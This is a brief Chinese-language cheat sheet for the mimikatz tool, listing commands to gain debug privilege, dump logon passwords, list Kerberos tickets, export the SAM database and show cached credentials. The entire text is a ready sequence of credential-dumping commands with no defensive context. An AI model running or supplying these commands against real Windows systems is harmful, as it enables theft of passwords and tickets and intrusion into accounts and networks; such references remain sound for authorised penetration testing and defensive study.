基本使用

mimikatz.exe

常見指令序列

privilege::debug # 提升權限
sekurlsa::logonpasswords # 讀取登入憑證

其他常用功能

sekurlsa::tickets # 列出 Kerberos 票證
lsadump::sam # 導出 SAM
lsadump::cache # 顯示緩存的憑證